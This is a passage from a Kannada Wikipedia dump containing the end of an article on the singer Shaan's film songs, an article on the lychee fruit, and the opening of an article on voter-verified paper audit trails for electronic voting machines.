ಗಾಯನವಾಡಿದ್ದಾರೆ. ಕನ್ನಡದ ಪ್ರಮುಖ ನಟರಾದ [[ಶಿವರಾಜ್‍ಕುಮಾರ್ (ನಟ)|ಶಿವರಾಜ್ಕುಮಾರ್]], ಪುನಿತ್ ರಾಜ್ಕುಮಾರ್, [[ಗಣೇಶ್ (ನಟ)|ಗಣೇಶ್]], ದರ್ಶನ್, [[ದಿಗಂತ್ (ನಟ)|ದಿಗ೦ತ್]], ದುನಿಯಾ ವಿಜಯ್ ಅವರ ಕೆಲವು ಹಾಡುಗಳು ಜನರು ಕೇಳಿಬ೦ದಿವೆ. ಸುಪ್ರಸಿದ್ದ ಹಾಗೂ ಜನಪ್ರಿಯ ಹಾಡುಗಳಾದ "ಏನೊ ಒ೦ಥರ"-ಹುಡುಗಾಟ ಚಿತ್ರದಿ೦ದ,"ಥರ ಥರ ಒ೦ಥರ"-ಬಿ೦ದಾಸ್ ಚಿತ್ರದಿ೦ದ,"ಅಮ್ಮ ಅಮ್ಮ ಐ ಲವ್ ಯು"-ಮೋರ್ಯ ಚಿತ್ರದಿ೦ದ,"ಶುರುವಾಗಿದೆ ಸು೦ದರ"-ಮಳೆಯಲ್ಲಿ ಜೊತೆಯಲ್ಲಿ,"ಕುಡಿನೋಟವೆ ಮನಮೋಹಕ"-ಪರಿಚಯ ಚಿತ್ರದಿ೦ದ,"ಜೊತೆಯಲ್ಲಿ ನೀ ಬಾರೊ"-ಜೊತೆಗಾರ ಚಿತ್ರದಿ೦ದ,"ಓ ಜೀವವೇ"-ಶೈಲೂ ಚಿತ್ರದಿ೦ದ,"ಅ೦ತು ಇ೦ತು"-ಮು೦ಜಾನೆ ಚಿತ್ರದಿ೦ದ,"ಕಳ್ಳಿ ನೀನು"-ದ೦ಡ೦ ದಶಗುಣ೦ ಚಿತ್ರದಿ೦ದ,"ಯಮ್ಮ ಯಮ್ಮ"-ರೌಡಿ ಅಳಿಯ ಚಿತ್ರದಿ೦ದ,"ಕುಶಿಯಾಗಳಿ"-ಪ್ರಿನ್ಸ್ ಚಿತ್ರದಿ೦ದ ಹಾಗೂ "ನೀ ತ೦ದಿರುವೆ"-ಕಾರ್ತಿಕ್ ಚಿತ್ರಗಳಲ್ಲಿ ಇವರು ಹಾಡಿದ್ದಾರೆ.ಹಾಗೆಯೇ ನಮ್ಮ ರಾಷ್ಟ್ರೀಯ ಭಾಷೆಯ ಹಿ೦ದಿ ಬಾಲಿವುಡ್ ಚಲನಚಿತ್ರಗಳಾದ ನಟರಿಗೆ ಧ್ವನಿ ಗಾಯನಹಾಡಿದ್ದಾರೆ.ಖ್ಯಾತ ಸೂಪರ್ ಸ್ಟಾರ್ಗಳಾದ ಅರ್ಜುನ್ ರಾಮ್ಪಾಲ್,ಶಾರುಕ್ ಖಾನ್,ಸಲ್ಮಾನ್ ಖಾನ್,ಅಮೀರ್ ಖಾನ್, ಹ್ರಿತಿಕ್ ರೋಷನ್ ,ಸೈಫ್ ಅಲಿ ಖಾನ್,ಶಯನ್ ಮುನ್ಶಿ,ಅನಿಲ್ ಕಪೂರ್,ರನ್ಬಿರ್ ಕಪೂರ್ ಮು೦ತಾದವರು."ಒ ಪೆಹಲಿಬಾರ್"-ಪ್ಯಾರ್ ಮೆ ಕಭಿ ಕಭಿ ಚಿತ್ರದಿ೦ದ,"ತೂನೆ ಮುಜೆ ಪೆಹಚಾನ್ ನಹಿ"-ರಾಜುಚಾಚಾ ಚಿತ್ರದಿ೦ದ,"ಅಪನಿ ಯಾದೋ೦ಕೊ"-ಪ್ಯಾರ್ ಇಷ್ಕ್ ಮುಹಬತ್,"ನಿಕಮ್ಮ ಕಿಯಾ ಇಸ್ ದಿಲ್ ನೇ"-ಕ್ಯಾ ದಿಲ್ ನೇ ಕಹಾ,"ಓ ರೇ ಕಾ೦ಚಿ"-ಅಶೋಕ ಚಿತ್ರದಿ೦ದ,"ರಾಕ್ ಆ೦ಡ್ ರೋಲ್ ಸೋನಿಯೆ"-ಕಭಿ ಅಲ್ವಿದ ನಾ ಕೆಹನ,"ಹೇ ಶೋನ"-ತರರ೦ಪ೦,"ಬ೦ ಬ೦ ಬೋಲೆ"-ತಾರೆ ಜಮೀನ್ ಪರ್ ,"ಬೆಹತಿ ಹವಾ ಸ ತಾಓ"-ತ್ರಿ ಹಿಡಿಯಟ್ಸ್,"ಚಾ೦ದ್ ಸಿಫಾರಿಷ್"-ಫನಾ,"ಓ೦ ಶಾ೦ತಿ ಓ೦"-ಓ೦ ಶಾ೦ತಿ ಓ೦ ಚಿತ್ರದಿ೦ದ,"ಆಹೊ ಮಿಲೊ ಚಲೊ"-ಜಬ್ ವಿ ಮೆಟ್,"ಜಬ್ಸೆತೆರೆ ನೈನ"- ಸಾವರಿಯಾ,"ಚಾರ್ ಕದಮ್"-ಪಿ.ಕೆ ,"ಕೋಯಿ ಕಹೆ ಕೆಹತ ರಹೆ" ಮತ್ತು "ವೋ ಲಡ್ಕಿ ಹೈ ಕಹಾ"- ದಿಲ್ ಚಾಹತ ಹೈ ಚಿತ್ರದಿ೦ದ,"ಮೈ ಹೂ ಡಾನ್ "-ಡಾನ್, "ಸಿನಿಮಾ ದೇಖೆ ಮಮ್ಮ"-ಸಿ೦ಗ್ ಇಸ್ ಬ್ಲಿ೦ಗ್ ಚಿತ್ರದಿ೦ದ,"ತೇರೆ ನೈನ"-ಜೈ ಹೊ ಮು೦ತಾದ ಚಿತ್ರಗಳಲ್ಲಿ ಇವರು ತನ್ನ ಗಾಯನದಿ೦ದ ಎಲ್ಲರನ್ನು ವಿಸ್ಮಯಿಸಿದ್ದಾರೆ.ಅಷ್ಟೇ ಅಲ್ಲದೆ ಟಿ.ವಿ ಸೀರಿಯಲ್ಗಳಿಗೂ ಸ೦ಗೀತ ಸ೦ಯೋಜನೆ ಮಾಡಿದ್ದಾರೆ. ಅವರು ಸ೦ಯೋಜಿಸಿದ ಆಲ್ಬಮ್ "ತನ್ನ್ಹದಿಲ್" ಸೂಪರ್ ಡೂಪರ್ ಹಿಟ್ ತ೦ದುಕೊಟ್ಟಿತ್ತು. ಇವರು ಪರಭಾಷೆಯಲ್ಲೂ ಗಾಯನ ಹಾಡಿದ್ದಾರೆ, ನೇಪಾಳದ ಚಿತ್ರಕ್ಕೂ ಹಾಡಿದ್ದಾರೆ. ಚಿತ್ರ "ಹಾದ ಜೀದ೦ಗಿ" ಸುಪ್ರಸಿದ್ದ ಗೀತೆ. ಶಾನ್ ತಮ್ಮ ಧ್ವನಿಯ ಇ೦ಪಾದ ಹಾಡುಗಳು ಪರಭಾಷೆಯದ ತಮಿಳು, ತೆಲುಗು, ಒರಿಯಾ, ಮರಾಠಿ, ಪ೦ಜಾಬಿ, ಇ೦ಗ್ಲಿಷ್, ಮಳಯಾಳ೦, ಬೆ೦ಗಾಲಿ, ನೇಪಾಲಿ, ಪಾಕಿಸ್ತಾನದಲ್ಲೂ ರಾರಾಜಿಸುತ್ತಿದೆ. ಇವರು ಎಲ್ಲಾ ರೀತಿಯ ಹಾಡುಗಳಿಗೆ ಪ್ರಸಿದ್ದ ದೇಶಭಕ್ತಿ ಗೀತೆ,ಪಾಪ್,ಹಿಪ್-ಹಾಪ್,ರಾಕ್,ಪ್ರಣಯ,ಮಧುರಗಳಿಗೆ ತನ್ನ ಧ್ವನಿ ನೀಡಿದ್ದಾರೆ. ಇವರು ಮೊದಲಬಾರಿಗೆ ಸಹಿಹಾಕಿದ್ದು ''ಮ್ಯಾಗನ ಸೌ೦ಡ್ ರೆಕಾಡಿ೦ಗ್ ಕ೦ಬನಿ''.<ref>http://www.glamsham.com/movies/news/06/may/08shaan.asp#</ref> =='''ಉಲ್ಲೇಖನಗಳು'''== {{reflist}} 3nauaorbwkva5w0msy68x6yid5s8cu8 ಲಿಚ್ಚಿ 0 88093 1116440 785879 2022-08-23T12:34:46Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki ==ಲಿಚ್ಚಿ== [[File:Lychee.jpg|right|thumb|ಲಿಚ್ಚಿ-ಹಣ್ಣು]] {{taxobox |name =ಲಿಚ್ಚಿ |image = Litchi chinensis fruits.JPG |image_caption = |regnum = [[Plant]]ae |unranked_divisio = [[Flowering plant|Angiosperms]] |unranked_classis = [[Eudicots]] |unranked_ordo = [[Rosids]] |ordo = [[Sapindales]] |familia = [[Sapindaceae]] |subfamilia = [[Sapindoideae]] |genus = '''''Litchi''''' |genus_authority = [[Pierre Sonnerat|Sonn.]] |species = '''''L. chinensis''''' |binomial = ''Litchi chinensis'' |binomial_authority = [[Pierre Sonnerat|Sonn.]]<ref name="GRIN">{{cite web |url=http://www.ars-grin.gov/cgi-bin/npgs/html/taxon.pl?22399 |title=''Litchi chinensis'' Sonn |work=Germplasm Resources Information Network |publisher=United States Department of Agriculture |date=1995-10-17 |accessdate=2010-01-19 |archive-date=2009-05-14 |archive-url=https://web.archive.org/web/20090514021731/http://www.ars-grin.gov/cgi-bin/npgs/html/taxon.pl?22399 |url-status=dead }}</ref> |}} ಲಿಚ್ಚಿ ('''ಲಿಚಿ, ಲಿಯೆಖೀ, ಲಿಖೆ, ಲೀಚ್ಚಿ, ಲಿಝಿ''' ಅಥವಾ '''ಲೀ ಝಿ''', ಅಥವಾ '''ಲಿಖೀ''')ಎನ್ನುವ ಸೋಪ್ಂಡೇಸಿ ಕುಟುಂಬದ ಸೋಪ್ಬೆರಿ ಕುಟುಂಬದ ಲಿಟ್ಚಿ ಏಕೈಕ ಸದಸ್ಯ.<ref>http://foodfacts.mercola.com/lychee.html</ref>. ಇದು [[ಚೀನಾ]]ದ ಗುವಾಂಗ್ಡಾಂಗ್ ಮತ್ತು ಫುಜಿಯನ್ ಪ್ರಾಂತ್ಯಗಳಿಗೆ ಸ್ಥಳೀಯವಾಗಿ [[ಉಷ್ಣವಲಯದ ನಿತ್ಯಹರಿದ್ವರ್ಣದ ಕಾಡುಗಳು|ಉಷ್ಣವಲಯದ]] ಮರವಾಗಿದೆ, ಇಲ್ಲಿ ಸಾಗುವಳಿ 1059 AD ಯಿಂದ ದಾಖಲಿಸಲ್ಪಟ್ಟಿದೆ. ಚೀನಾವು ಲೀಚೀಯಾ ಮುಖ್ಯ ನಿರ್ಮಾಪಕ, ನಂತರ [[ಭಾರತ]], ಆಗ್ನೇಯ [[ಏಷ್ಯಾ]]ದಲ್ಲಿನ ಇತರ ದೇಶಗಳು, [[ಭಾರತೀಯ ಉಪಖಂಡ]] ಮತ್ತು ದಕ್ಷಿಣ [[ಆಫ್ರಿಕಾ]]ವಾಗಿದೆ. ಎತ್ತರದ [[ನಿತ್ಯಹರಿದ್ವರ್ಣ]] ಮರ, ಲಿಚ್ಛಿಯು ಸಣ್ಣ ತಿರುಳಿರುವ [[ಹಣ್ಣು|ಹಣ್ಣುಗಳನ್ನು]] ಹೊಂದಿರುತ್ತದೆ. ಹಣ್ಣಿನ ಹೊರಭಾಗವು ಗುಲಾಬಿ-ಕೆಂಪು, ಒರಟಾದದು ಮತ್ತು ತಿನ್ನಲಾಗದದು, ವಿವಿಧ ಸಿಹಿ ಭಕ್ಷ್ಯಗಳಲ್ಲಿ ತಿನ್ನಲಾದ ಸಿಹಿ ಮಾಂಸವು ಮುಚ್ಚಿರುತ್ತದೆ. ಕ್ಯಾನಿಂಗ್ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ಸುಗಂಧದ್ರವ್ಯದಂತಹ ಪರಿಮಳವನ್ನು ಕಳೆದುಕೊಂಡಿರುವುದರಿಂದ, ಈ ಹಣ್ಣು ಸಾಮಾನ್ಯವಾಗಿ ತಾಜಾ ತಿನ್ನಲಾಗುತ್ತದೆ. ಲಿಚೆ ಅನೇಕ ದ್ಯುತಿರಾಸಾಯನಿಕ ಅಥವ ಫೈಟೊಕೆಮಿಕಲ್ಸ್ ಹೊಂದಿರುತ್ತದೆ. ವಿಟಮಿನ್ಗಳು ಹೈಪೊಗ್ಲಿಸಿಮಿಯಾವನ್ನು ಉಂಟುಮಾಡುವ ಮೆಥೈಲೆನ್ಸಿಕ್ಲೋಪ್ರೊಪಿಲ್ಗ್ಲೈಸೈನ್ ಅನ್ನು ಒಳಗೊಂಡಿವೆ ಎಂದು ಕಂಡುಬಂದಿದೆ, ಆದರೆ ಭಾರತೀಯ ಮತ್ತು [[ವಿಯೆಟ್ನಾಮ್|ವಿಯೆಟ್ನಾಮೀಸ್]] ಮಕ್ಕಳಲ್ಲಿ ಎನ್ಸೆಫಲೋಪತಿಯ ಏಕಾಏಕಿ ಅದರ ಬಳಕೆಗೆ ಸಂಬಂಧಿಸಿದೆ. ==ಜೀವಿವರ್ಗೀಕರಣ ಶಾಸ್ತ್ರ== ಲಿಚ್ಚಿ ಚೈನೆನ್ಸಿಸ್ ಎಂಬುದು ಸೋಪಿನೆಸೇಯ್ ಕುಟುಂಬ,ಸೋಪ್ಬೆರಿ<ref>https://hort.purdue.edu/newcrop/morton/lychee.html</ref>.ಇದು ಲಿಚ್ಚಿಯ ಏಕೈಕ ಸದಸ್ಯ."ವಾಯೇಜ್ ಆಕ್ಸ್ ಇಂಡೆಸ್ ಒರಿಯೆಂಟ್ಸ್ ಎಟ್ ಲಾ ಚಿನ್, ಫೈಟ್ ಡೆಪ್ಯೂಯಿಸ್ 1774 ಜುಸ್ಕ್ವಾ 1781" (ಭಾಷಾಂತರ: "1774 ರಿಂದ 1781 ರವರೆಗೆ ಮಾಡಿದ ಈಸ್ಟ್ ಇಂಡೀಸ್ ಮತ್ತು ಚೀನಾಗೆ ಪ್ರಯಾಣ") ಅವರ ಖಾತೆಯಲ್ಲಿ ನೈಸರ್ಗಿಕವಾದಿ ಪಿಯರ್ ಸೊನೆರೇಟ್ ಅವರ ಹೆಸರನ್ನು ಇದು ವಿವರಿಸಿ ಹೆಸರಿಸಿತು, ಇದನ್ನು 1782 ರಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಯಿತು.ಹೂವಿನ ಜೋಡಣೆ,ತಂತಿಯ ದಪ್ಪ, ಹಣ್ಣು ಮತ್ತು ಕೇಸರಿಗಳ ಸಂಖ್ಯೆಯಿಂದ ನಿರ್ಧರಿಸಲ್ಪಟ್ಟ ಮೂರು ಉಪವರ್ಗಗಳಿವೆ. *ಲಿಚಿ ಚೈನೆನ್ಸಿಸ್ ಉಪಜಾತಿಯಾಗಿದೆ. ಚಿನೆನ್ಸಿಸ್ ಮಾತ್ರ ವಾಣಿಜ್ಯೀಕೃತ ಲಿಚ್ಛಿಯಾಗಿದೆ. ಇದು ದಕ್ಷಿಣ [[ಚೀನಾ]], [[ವಿಯೆಟ್ನಾಮ್|ಉತ್ತರ ವಿಯೆಟ್ನಾಮ್]], ಮತ್ತು [[ಕಾಂಬೋಡಿಯಾ]] ಕಾಡಲ್ಲಿ ದಟ್ಟ್-ವಾಗಿ ಬೆಳೆಯುತ್ತದೆ. ಇದು ತೆಳುವಾದ ಕೊಂಬೆಗಳನ್ನು ಹೊಂದಿದೆ, ಹೂವುಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಆರು ಕೇಸರಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ, ನಯವಾದ ಹಣ್ಣು ೨ ಮಿಮೀ (೦.೦೭೯ ಇಂಚು) ವರೆಗೆ ಪ್ರೊಟ್ಯೂರನ್ಸಸ್ ಹೊಂದಿರುತ್ತದೆ. *ಲಿಚಿ ಚೈನೆನ್ಸಿಸ್ ಉಪ. [[ಫಿಲಿಪ್ಪೀನ್ಸ್|ಫಿಲಿಪ್ಪಿನೆನ್ಸಿಸ್]] (ರಾಡ್ಲ್ಲ್.) ಲಿಯಾನ್. ಇದು ಫಿಲಿಪ್ಪೈನಿನ ಕಾಡುಗಳಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿರುತ್ತದೆ ಮತ್ತು ಅಪರೂಪವಾಗಿ ಬೆಳೆಸಲಾಗುತ್ತದೆ. ಇದು ತೆಳುವಾದ ಕೊಂಬೆಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ, ಆರರಿಂದ ಏಳು ಕೇಸರಗಳು, ಉದ್ದವಾದ ಅಂಡಾಕಾರದ ಹಣ್ಣು ೩ ಮಿಮೀ (೦.೧೨ ಇಂಚು) ವರೆಗಿನ ಸ್ಪಿಕಿ ಪ್ರೊಟ್ಯೂರನ್ಸಸ್ ಹೊಂದಿರುತ್ತದೆ. *ಲಿಚಿ ಚೈನೆನ್ಸಿಸ್ ಉಪ. ಜಾವೆನ್ಸಿಸ್. ಇದು [[ಮಲೇಷ್ಯಾ|ಮಲೆಷ್ಯಾ]] ಮತ್ತು [[ಇಂಡೋನೇಷ್ಯಾ|ಇಂಡೋನೇಶಿಯಾದಲ್ಲಿ]] ಕೇವಲ ಬೆಳೆಸಲಾಗುತ್ತದೆ ಎಂದು ಪರಿಚಿತವಾಗಿದೆ. ಇದು ದಪ್ಪವಾದ ಕೊಂಬೆಗಳನ್ನು ಹೊಂದಿದೆ, ಏಳರಿಂದ ಹನ್ನೊಂದು ಕೇಸರಿ ಗುಳ್ಳೆಗಳನ್ನು ಹೊಂದಿರುವ ಹೂವುಗಳು, ನಯವಾದ ಹಣ್ಣು ೧ ಮಿಮೀ (೦.೦೩೯ ಇಂಚು) ವರೆಗಿನ ಪ್ರೋಟೀಬರೇಷನ್ಗಳೊಂದಿಗೆ.<ref>https://books.google.co.in/books?id=49PB5MhHqkcC&pg=PA26&redir_esc=y</ref><ref>https://hort.purdue.edu/newcrop/morton/lychee.html</ref> ==ವಿವರಣೆ== [[File:Lychee (Litchi chinensis)-01.JPG|thumb|left|''ಲಿಚಿ ಚೈನೆನ್ಸಿಸ್'' ಮರ at [[Parque Municipal Summit]] in [[Panama]]]] ಲಿಟ್ಟಿ ಚೈನೆನ್ಸಿಸ್ ಎಂಬುದು ಸಾಮಾನ್ಯವಾಗಿ ನಿತ್ಯಹರಿದ್ವರ್ಣ ಮರವಾಗಿದೆ, ಅದು ೧೫.ಮೀ (೪೯ ಅಡಿ) ಎತ್ತರಕ್ಕಿಂತ ಕಡಿಮೆಯಾಗಿರುತ್ತದೆ, ಕೆಲವೊಮ್ಮೆ ೨೮.ಮೀ(೯೨.ಅಡಿ).<ref>https://books.google.co.in/books?id=JTr-ouCbL2AC&pg=PA467&redir_esc=y</ref>ಒಮ್ಮುಖದ ವಿಕಸನದ ಕಾರಣದಿಂದಾಗಿ ಲೈಚೆಯಾಗೆ ಇದೇ ರೀತಿಯ ಎಲೆಗೊಯೆಸಿಗಳು ಲಾರಾಸಿಯೇ ಕುಟುಂಬಕ್ಕೆ ಸಾಧ್ಯವಿದೆ. ನೀರನ್ನು ಹಿಮ್ಮೆಟ್ಟಿಸುವ ಎಲೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವ ಮೂಲಕ ಅವುಗಳನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲಾಗುತ್ತದೆ, ಮತ್ತು ಲಾರೋಫಿಲ್ ಅಥವಾ ಲಾರೊಯಿಡ್ ಎಲೆಗಳು ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಪ್ರಸ್ತುತ ಋತುವಿನ ಬೆಳವಣಿಗೆಯ ಮೇಲೆ ಅನೇಕ ಪ್ಯಾನಿಕಲ್ಗಳೊಂದಿಗೆ ಹೂವುಗಳು ಟರ್ಮಿನಲ್ ಹೂಗೊಂಚಲು ಮೇಲೆ ಬೆಳೆಯುತ್ತವೆ. ಹತ್ತು ಅಥವಾ ಹೆಚ್ಚಿನ ಸಮೂಹಗಳಲ್ಲಿ ಪ್ಯಾನಿಕ್ಗಳು ​​ಬೆಳೆಯುತ್ತವೆ, ಅವುಗಳು ೧೦ ರಿಂದ ೪೦ ಸೆಂಟಿಮೀಟರ್ (೩.೯ ರಿಂದ ೧೫.೭ ಇಂಚು) ವರೆಗೂ ಅಥವಾ ಹೆಚಾಗಿರುತ್ತವೆ, ನೂರಾರು ಸಣ್ಣ ಬಿಳಿ, ಹಳದಿ ಅಥವಾ ಹಸಿರು ವಿಶಿಷ್ಟವಾದ ಪರಿಮಳಯುಕ್ತ ಹುವುಗಳು ಕಂಡುಬರುತ್ತವೆ.<ref>https://books.google.co.in/books?id=49PB5MhHqkcC&pg=PA26&redir_esc=y</ref> ಹವಾಮಾನ, ಸ್ಥಳ, ಮತ್ತು ತಳಿಯನ್ನು ಅವಲಂಬಿಸಿ,೮೦-೧೧೨ ದಿನಗಳಲ್ಲಿ ಲಿಚೀ ಮಾಂಸದ ಹಣ್ಣುಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಹಣ್ಣಿನಿಂದ ಅಂಡಾಕಾರದಿಂದ ಹೃದಯ-ಆಕಾರದವರೆಗಿನ ಆಕಾರದಲ್ಲಿ ಹಣ್ಣುಗಳು ಬದಲಾಗುತ್ತವೆ, ಸುಮಾರು ೫ ಸೆಂ.ಮೀ ಉದ್ದ ಮತ್ತು ೪ ಸೆಂ.ಮೀ ಅಗಲ (೨.೦ × ೧.೬ ಇಂಚು), ಸುಮಾರು ೨೦ ಗ್ರಾಂ ತೂಗುತ್ತದೆ<ref>https://hort.purdue.edu/newcrop/morton/lychee.html</ref> ==ಉಲ್ಲೇಖಗಳು== <references/> [[ವರ್ಗ:ಹಣ್ಣುಗಳು]] nefdjxqh57l160x086qktp5x8sajo3b ವೋಟರ್-ವೆರಿಫೈಡ್ ಪೇಪರ್ ಆಡಿಟ್ ಟ್ರೈಲ್ 0 92386 1116484 1062120 2022-08-23T13:51:31Z InternetArchiveBot 69876 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9 wikitext text/x-wiki '''ವೋಟರ್-ವೆರಿಫೈಡ್ ಪೇಪರ್ ಆಡಿಟ್ ಟ್ರೈಲ್ ''' (ವಿವಿಪ್ಯಾಟ್ ) ಮತದಾರ ಪರಿಶೀಲಿಸಬಹುದಾದ ಪೇಪರ್ ಆಡಿಟ್ ಟ್ರಯಲ್ ಅಥವಾ '''ಪರಿಶೀಲಿಸಬಹುದಾದ ಪೇಪರ್ ರೆಕಾರ್ಡ್''' (VPR) [[ಮತದಾನ]] ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಿಕೊಂಡು (ಎಲೆಕ್ಟ್ರಾನಿಕ್ ವೋಟಿಂಗ್ ಮೆಷೀನ್) ಮತದಾರರಿಗೆ ಪ್ರತಿಕ್ರಿಯೆ ನೀಡುವ ಒಂದು ವಿಧಾನವಾಗಿದೆ. ವಿವಿಪ್ಯಾಟ್ ಗಳನ್ನು [[ಮತದಾನ ಯಂತ್ರ|ಮತಯಂತ್ರಗಳಿಗೆ]] ಜೋಡಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ವೋಟಿಂಗ್ ಮೆಷೀನ್ ನಲ್ಲಿ ಮತದಾನ ಮಾಡಿದ ತಕ್ಷಣ ಯಾವ ಅಭ್ಯರ್ಥಿಗೆ ಮತ್ತು ಪಕ್ಷಕ್ಕೆ ಮತ ಹಾಕಿದ್ದೇವೆ ಎನ್ನುವುದನ್ನು ತೋರಿಸುವ ಪ್ರಿಂಟ್ ಚೀಟಿಯೊಂದು ವಿವಿಪ್ಯಾಟ್ ಕಿಂಡಿಯಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ಸಂಗ್ರಹವಾಗುತ್ತದೆ. == ಉಪಯೊಗ == ಮತ ಎಣಿಕೆ ವೇಳೆ ಮತಯಂತ್ರದಲ್ಲಿ ದೋಷ, ಗೊಂದಲ ಕಂಡು ಬಂದಲ್ಲಿ ವಿವಿಪ್ಯಾಟ್ ಬಾಕ್ಸ್ ನಲ್ಲಿ ದಾಖಲಾದ ಮತಗಳನ್ನು(ಪ್ರಿಂಟ್ ) ಎಣಿಕೆ ಮಾಡಬಹುದಾಗಿದೆ.ಚುನಾವಣಾ ವಂಚನೆ ಅಥವಾ ಅಸಮರ್ಪಕ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಪತ್ತೆಹಚ್ಚಲು ಮತ್ತು ಸಂಗ್ರಹಿಸಿದ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಫಲಿತಾಂಶಗಳನ್ನು ಆಡಿಟ್ ಮಾಡಲು ,ಮತದಾರರು ತಮ್ಮ ಮತವನ್ನು ಸರಿಯಾಗಿ ಚಲಾಯಿಸಿರುವುದನ್ನು ಪರಿಶೀಲಿಸಲು ಮತದಾನ ಮಾಡುವ ಯಂತ್ರಗಳಿಗೆ ಸ್ವತಂತ್ರ ಪರಿಶೀಲನೆ ವ್ಯವಸ್ಥೆಯಾಗಿ ವಿವಿಪ್ಯಾಟ್ ಬಳಸಲಾಗುತ್ತದೆ.ಇದು ಮತಗಳನ್ನು ಬದಲಾಯಿಸುವ ಅಥವಾ ನಾಶಮಾಡುವ ಹೆಚ್ಚುವರಿ ತಡೆಗೋಡೆಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ.<ref>See page 3 of: {{Cite journal|url=https://jhalderm.com/pub/papers/ts-evt07-init.pdf|title=Security Analysis of the Diebold AccuVote-TS Voting Machine|author=Ariel J. Feldman, J. Alex Halderman and Edward W. Felten|publisher=Princeton University Center for Information Technology Policy|format=PDF}}</ref> ==ಹಿನ್ನಲೆ== ವಿವಿಪ್ಯಾಟ್ ನೇರ ಮತದಾನದ ವಿದ್ಯುನ್ಮಾನ ಮತದಾನ ವ್ಯವಸ್ಥೆಯನ್ನು (ಡಿ ಆರ್ ಇ) ಒಳಗೊಂಡಿದೆ, ವಂಚನೆ ಮತ್ತು ಉಪಕರಣಗಳ ಅಸಮರ್ಪಕವನ್ನು ಕಂಡುಹಿಡಿಯುವ ವಿಧಾನವಾಗಿ ಅವಶ್ಯಕವಾಗಿವೆ.ಇದನ್ನು ಮೊದಲಿಗೆ ಮಾರ್ಚ್ 2001 ರಲ್ಲಿ ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿ ಯಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲಾಯಿತು ಮತ್ತು ಸ್ಯಾಕ್ರಮೆಂಟೊ, CA ನಲ್ಲಿ 2002 ರಲ್ಲಿ ಬಳಸಲಾಯಿತು.<ref name="verifiedvoting.org">See: {{Cite web|url=http://www.verifiedvoting.org/article.php?list=type&type=13|title=Voter-Verified Paper Record Legislation|publisher=[[Verified Voting Foundation]] 2006-12-22|access-date=2017-11-12|archive-date=2006-12-14|archive-url=https://web.archive.org/web/20061214015300/https://www.verifiedvoting.org/article.php?list=type&type=13|url-status=dead}}</ref><ref name="forbes.com">[https://www.forbes.com/home/feeds/ap/2006/12/21/ap3274394.html Forbes.com: Paper Jams a Problem for Electronic Voting]{{Dead link|date=ಆಗಸ್ಟ್ 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ==ಕಾರ್ಯ== ಡಾಕ್ಯುಮೆಂಟ್ ಅಲ್ಲದ ಮತದಾನ ವ್ಯವಸ್ಥೆಗಳಲ್ಲಿ (ಎಲೆಕ್ಟ್ರಾನಿಕ್ ವೋಟಿಂಗ್ ಮೆಷೀನ್) , ಮತದಾನ ಯಂತ್ರಗಳು ಮತದಾರನಿಗೆ ತನ್ನ ಮತವನ್ನು ಸಂಗ್ರಹ ಮಾಡಿರುವುದನ್ನು ಖಚಿತಪಡಿಸಲು ಮತದಾರನಿಗೆ ಸ್ಪಷ್ಟವಾದ ಮತಪತ್ರವನ್ನು ಪರಿಶೀಲಿಸಲು ಒಂದು ಆಯ್ಕೆಯನ್ನು ಹೊಂದಿಲ್ಲ.ಇದಲ್ಲದೆ, ಒಂದು ವಿವಾದದ ಸಂದರ್ಭದಲ್ಲಿ ಚುನಾವಣಾ ಅಧಿಕಾರಿಯು ಕೈಯಾರೆ ಮತಪತ್ರಗಳನ್ನು ಮರುಪಡೆಯಲು ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ.ಈ ಕಾರಣದಿಂದಾಗಿ,ವಿಮರ್ಶಕರು ಚುನಾವಣಾ ವಂಚನೆ ಅಥವಾ ಅಸಮರ್ಪಕ ಕಾರ್ಯಾಚರಣೆ ತಡೆಗಟ್ಟಲು ಮತದಾರ-ಪರಿಶೀಲನಾ ಕಾಗದದ ಆಡಿಟ್ ಟ್ರೇಲ್ಗಳ ಅವಶ್ಯಕತೆ ಇದೆ ಎಂದು ವಾದಿಸುತ್ತಾರೆ.<ref>{{Cite web|url=http://www.schneier.com/blog/archives/2004/11/the_problem_wit.html|title=The Problem with Electronic Voting Machines|last=Schneier|first=Bruce|authorlink=Bruce_Schneier, accessdate=2006-12-22}}</ref> ಕಾಗದದ ಆಡಿಟ್ ಟ್ರೇಲ್ಸ್ ಅನುಷ್ಠಾನದಲ್ಲಿ ಮೂಲಭೂತ ಅಡಚಣೆಯೆಂದರೆ ಆಡಿಟ್ನ ಕಾರ್ಯಕ್ಷಮತೆ ಮತ್ತು ಅಧಿಕಾರ.ಪೇಪರ್ ಆಡಿಟ್ ವ್ಯವಸ್ಥೆಗಳು ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಮತದಾನ ವ್ಯವಸ್ಥೆಗಳ ವೆಚ್ಚವನ್ನು ಹೆಚ್ಚಿಸುತ್ತವೆ, ಕಾರ್ಯಗತಗೊಳಿಸಲು ಕಷ್ಟವಾಗಬಹುದು, ಸಾಮಾನ್ಯವಾಗಿ ವಿಶೇಷ ಬಾಹ್ಯ ಯಂತ್ರಾಂಶ ಅಗತ್ಯವಿರುತ್ತದೆ, ಮತ್ತು ಬಳಸಲು 